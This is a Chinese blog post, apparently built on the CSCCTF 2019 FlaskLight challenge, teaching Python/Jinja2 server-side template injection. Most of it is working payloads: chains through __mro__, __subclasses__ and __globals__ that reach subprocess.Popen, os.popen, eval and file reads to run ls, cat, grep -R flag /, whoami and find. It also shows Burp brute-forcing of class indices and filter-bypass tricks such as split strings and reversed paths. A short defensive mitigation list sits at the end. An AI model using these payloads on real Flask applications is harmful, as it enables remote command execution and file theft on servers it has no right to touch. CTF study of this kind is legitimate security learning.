python ssti正确利用方式

目录

基础 

接下来获取其所有子类:

你会获得一大堆的子类 利用python 脚本进行筛选

方法一 选择执行命令寻找subprocess.Popen类:一个执行命令的类

找到下角标是258 他的利用方式如下

方法二 选择执行命令

方法三 选择site._Printer执行命令

方法四 利用file

如果有后三个里面os内置模块

最后一个利用burpsuite的利用方式 前四个不好用的时候

我们只需要寻找可能执行命令或者可以读取文件的类就可以了,重点关注os/file这些关键字。

很好 很有精神


基础 

关于python来说 ssti 就是找可以利用的函数 进行操作

在Python的ssti中,大部分是依靠基类->子类->危险函数的方式来利用ssti,接下来讲几个知识点。

  • __class__

万物皆对象,而class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>

  • __bases__

以元组的形式返回一个类所直接继承的类。

  • __base__

以字符串返回一个类所直接继承的类。

  • __mro__

返回解析方法调用的顺序。

  • __subclasses__()

获取类的所有子类。

  • __init__

所有自带带类都包含init方法,便于利用他当跳板来调用globals

  • __globals__

现在进入操作

第一步 获取基类 object

接下来看看常规操作:

利用"".__class__或者是[].__class__

"".__class__

先使用该payload来获取某个类,这里可以获取到的是str类,实际上获取到任何类都可以,因为我们都最终目的是要获取到基类Object。

接下来我们可以通过bases或者mro来获取到object基类。

"".__class__.__bases__

"".__class__.__mro__[1]

在找到object后要记得在上面加一个 数组下角标

接下来获取其所有子类:

"".__class__.__bases__[0].__subclasses__()

你会获得一大堆的子类 利用python 脚本进行筛选

#-*- coding:utf-8 -*-
str = "[<type 'type'>, <type 'weakref'>,<type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'string.Template'>, <class 'string.Formatter'>, <type 'collections.deque'>, <type 'deque_iterator'>, <type 'deque_reverse_iterator'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'itertools.combinations'>, <type 'itertools.combinations_with_replacement'>, <type 'itertools.cycle'>, <type 'itertools.dropwhile'>, <type 'itertools.takewhile'>, <type 'itertools.islice'>, <type 'itertools.starmap'>, <type 'itertools.imap'>, <type 'itertools.chain'>, <type 'itertools.compress'>, <type 'itertools.ifilter'>, <type 'itertools.ifilterfalse'>, <type 'itertools.count'>, <type 'itertools.izip'>, <type 'itertools.izip_longest'>, <type 'itertools.permutations'>, <type 'itertools.product'>, <type 'itertools.repeat'>, <type 'itertools.groupby'>, <type 'itertools.tee_dataobject'>, <type 'itertools.tee'>, <type 'itertools._grouper'>, <type '_thread._localdummy'>, <type 'thread._local'>, <type 'thread.lock'>, <type 'method_descriptor'>, <class 'markupsafe._MarkupEscapeHelper'>, <type '_io._IOBase'>, <type '_io.IncrementalNewlineDecoder'>, <type '_hashlib.HASH'>, <type '_random.Random'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <type 'cPickle.Unpickler'>, <type 'cPickle.Pickler'>, <type 'functools.partial'>, <type '_ssl._SSLContext'>, <type '_ssl._SSLSocket'>, <class 'socket._closedsocket'>, <type '_socket.socket'>, <class 'socket._socketobject'>, <class 'socket._fileobject'>, <type 'time.struct_time'>, <type 'Struct'>, <class 'urlparse.ResultMixin'>, <class 'contextlib.GeneratorContextManager'>, <class 'contextlib.closing'>, <type '_json.Scanner'>, <type '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'threading._Verbose'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'numbers.Number'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal._ContextManager'>, <class 'decimal.Context'>, <class 'decimal._WorkRep'>, <class 'decimal._Log10Memoize'>, <type '_ast.AST'>, <class 'ast.NodeVisitor'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <type 'datetime.date'>, <type 'datetime.timedelta'>, <type 'datetime.time'>, <type 'datetime.tzinfo'>, <class 'logging.LogRecord'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <type 'select.epoll'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.types.ParamType'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'email.LazyImporter'>, <class 'calendar.Calendar'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'uuid.UUID'>, <type 'CArgObject'>, <type '_ctypes.CThunkObject'>, <type '_ctypes._CData'>, <type '_ctypes.CField'>, <type '_ctypes.DictRemover'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class 'subprocess.Popen'>, <class 'itsdangerous._json._CompactJSON'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'difflib.HtmlDiff'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <type 'unicodedata.UCD'>, <type 'array.array'>, <type 'method-wrapper'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>]"
na = str.split(',')
i=0
for s in na:
     print(i)
     print(s)
     i=i+1
print(na.index(" <class 'subprocess.Popen'>"))

  

主要在于操作的意义吧,本操作在于文章提到的,使用index索引执行类方法。

报错%100是空格的问题 

方法一 选择<class 'subprocess.Popen'>执行命令
寻找subprocess.Popen类:一个执行命令的类

找到下角标是258 他的利用方式如下

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

方法二 选择<class 'warnings.catch_warnings'>执行命令

分两种情况 有无os模块

查看<class 'warnings.catch_warnings'>是否内置os模块,给search赋值:

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']}}

在页面回显中搜索:OS,发现'OSError': <type 'exceptions.OSError'>,说明<class 'warnings.catch_warnings'>没有加载OS模块。所以在执行命令的时候需要自己加载OS模块。

搜索目录下带有flag字符串的文件名:

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('**find / -name *flag***').read()")}}

如果没有用输出结果没什么用,所以我们转而搜索根目录下带有flag内容的文件:

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('grep -R flag /').read()")}}

等待时间可能比较长,最后得到flag。

也可以自己慢慢寻找flag文件,输出目录:

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

方法三 选择site._Printer执行命令

查看<class 'site._Printer'>是否内置os模块,给search赋值:

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']}}

在页面回显中搜索:OS,发现'os': <module 'os' from '/usr/lib/python2.7/os.pyc'>,说明<class 'site._Printer'>加载了OS模块。所以在执行命令的时候不需要自己加载OS模块。

直接输入url:

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}

得到flag。

References[CSCCTF 2019 Qual]FlaskLight


方法四 利用file

{{''.__class__.__mro__[2].__subclasses__()[40]('/flasklight/coomme_geeeett_youur_flek').read() }}

也一样得到flag。

如果有后三个里面os内置模块

就直接os了

有os模块的利用方式

{{[].__class__.__base__.__subclasses__()[x].__init__['__glo'+'bals__']['os'].popen('cat /flag').read()}}
''.__class__.__mro__[1].__subclasses__()[x].__init__.__globals__['os'].system('ls')

但是就算有os 你调用os也没有错 所以调用就行了 

没有os的利用方式

"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__import__']('os').popen('whoami').read()

 x会有很多情况 这是由于环境决定的 128 75 79等

最后一个利用burpsuite的利用方式 前四个不好用的时候

我们只需要寻找可能执行命令或者可以读取文件的类就可以了,重点关注os/file这些关键字。

获取到subclasses后,初步看了一下没有能直接执行命令或者获取文件内容的类啥的,接下来使用init.globals来看看有没有os module或者其他的可以读写文件的。

init.globals会返回该类的很多文件名啥的

{{"".__class__.__mro__[1].__subclasses__()[x].__init__.__globals__}}

首先我们用burp爆破 以x为变量 进行爆破 

这里我用burp来爆破303这个数字,从0爆破到一千,可以发现有很多个内置类都可以使用os这个模块,于是就可以欢乐的执行系统命令了~ 

 里面有os.py 说明这个类可以用 不只是os还有file.py 如果包含两个文件就可以用

这个情况区别于上面四个我猜是因为 这个是自定义的类 且内置了 很多危险的模块

当前五种方法都不能使用的时候 以及不用跑脚本跑下角标

"".__class__.__bases__[0].__subclasses__() ;没有回显但是{{8+8}}却可以执行的时候

for循环 诞生了

 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

 利用python的字符串序列的特性进行绕过

 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read()}}{% endif %}{% endfor %}

利用for机制不用下角标 直接执行命令 

很好 很有精神

我知道的就这些 要大佬知道别的py ssti利用方式 欢迎留言

转载要表明作者

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
PythonSSTI(Server-Side Template Injection)是一种安全漏洞,攻击者可以通过注入恶意代码来执行任意命令或访问敏感数据。为了防御SSTI攻击,可以采取以下措施: 1. 输入验证和过滤:在接收用户输入时,对输入进行严格的验证和过滤,确保只接受预期的数据类型和格式。可以使用正则表达式或其他验证方法来限制输入内容。 2. 模板引擎配置:使用安全的模板引擎,并且在配置时启用严格的沙盒模式。沙盒模式可以限制模板中可执行的操作和访问的变量,防止恶意代码执行和敏感数据访问。 3. 模板上下文的净化:在将用户输入传递给模板引擎进行渲染之前,对输入进行净化或转义。这可以确保输入中的任何特殊字符都被正确处理,而不是被解释为模板语法。 4. 使用安全的模板标签和过滤器:确保只使用具有良好安全记录的模板标签和过滤器。避免使用不安全、未经充分验证的自定义标签和过滤器,以减少SSTI风险。 5. 最小化模板引擎的功能:仅开启必需的模板引擎功能,禁用不必要的功能和扩展。这样可以减少潜在的攻击面和安全漏洞。 6. 定期更新和升级:及时更新和升级使用的模板引擎和相关依赖库,以获得最新的安全修复和功能增强。 以上措施并不能完全消除SSTI攻击的风险,因此在开发和部署过程中,还应该进行安全审计和漏洞扫描,及时修复潜在的安全问题。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值